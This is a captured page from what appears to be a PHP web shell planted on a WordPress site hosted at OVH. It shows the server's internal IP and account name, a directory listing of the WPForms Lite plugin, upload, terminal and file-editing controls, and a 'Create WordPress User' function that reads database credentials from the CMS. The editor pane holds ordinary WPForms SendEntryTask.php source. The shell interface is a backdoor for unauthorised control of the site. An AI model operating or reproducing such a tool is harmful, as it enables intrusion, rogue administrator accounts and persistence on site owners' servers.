Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
wpforms-lite
/
src
/
Lite
/
Integrations
/
LiteConnect
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
Integration.php
3.16 KB
-rw-r--r--
2026-02-24 15:21
LiteConnect.php
4.96 KB
-rw-r--r--
2026-02-24 15:21
SendEntryTask.php
2.91 KB
-rw-r--r--
2026-02-24 15:21
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
SendEntryTask.php
<?php namespace WPForms\Lite\Integrations\LiteConnect; use WPForms\Integrations\LiteConnect\API; use WPForms\Tasks\Meta; /** * Class SendEntryTask. * * @since 1.7.4 */ class SendEntryTask extends Integration { /** * Task name. * * @since 1.7.4 * * @var string */ const LITE_CONNECT_TASK = 'wpforms_lite_connect_send_entry'; /** * SendEntryTask constructor. * * @since 1.7.4 */ public function __construct() { parent::__construct(); $this->hooks(); } /** * Initialize the hooks. * * @since 1.7.4 */ private function hooks() { // Process the tasks as needed. add_action( self::LITE_CONNECT_TASK, [ $this, 'process' ] ); } /** * Creates a task to submit the lite entry to the Lite Connect API via * Action Scheduler. * * @since 1.7.4 * * @param int $form_id The form ID. * @param string $entry_data The entry data. */ public function create( $form_id, $entry_data ) { $action_id = wpforms()->obj( 'tasks' ) ->create( self::LITE_CONNECT_TASK ) ->params( $form_id, $entry_data ) ->once( time() + wp_rand( 10, 60 ) * MINUTE_IN_SECONDS ) ->register(); if ( $action_id === null ) { wpforms_log( 'Lite Connect: error creating the AS task', [ 'task' => self::LITE_CONNECT_TASK, ], [ 'type' => [ 'error' ] ] ); } } /** * Process the task to submit the entry to the Lite Connect API via * Action Scheduler. * * @since 1.7.4 * * @param int $meta_id The meta ID. */ public function process( $meta_id ) { // Load task data. $params = ( new Meta() )->get( (int) $meta_id ); list( $form_id, $entry_data ) = $params->data; // Grab current access token. If site key or access token is not available, then it recreates the task to run later. $access_token = $this->get_access_token( $this->get_site_key() ); if ( ! $access_token ) { $this->create( $form_id, $entry_data ); return; } // Submit entry to the Lite Connect API. $response = ( new API() )->add_form_entry( $access_token, $form_id, $entry_data ); if ( $response ) { $response = json_decode( $response, true ); } if ( isset( $response['error'] ) && $response['error'] === 'Access token is invalid or expired.' ) { // Force to re-generate access token in case it is invalid. $this->get_access_token( $this->get_site_key(), true ); } if ( ! empty( $response['error'] ) ) { wpforms_log( 'Lite Connect: error submitting form entry (AS task)', [ 'response' => $response, 'entry_data' => $entry_data, ], [ 'type' => [ 'error' ], 'form_id' => $form_id, ] ); } // Recreate the task if the request to the API fail for any reasons. if ( ! isset( $response['status'] ) || $response['status'] !== 'success' ) { $this->create( $form_id, $entry_data ); return; } // Increase the entries count if the entry has been added successfully. $this->increase_entries_count( $form_id ); } }
关闭
保存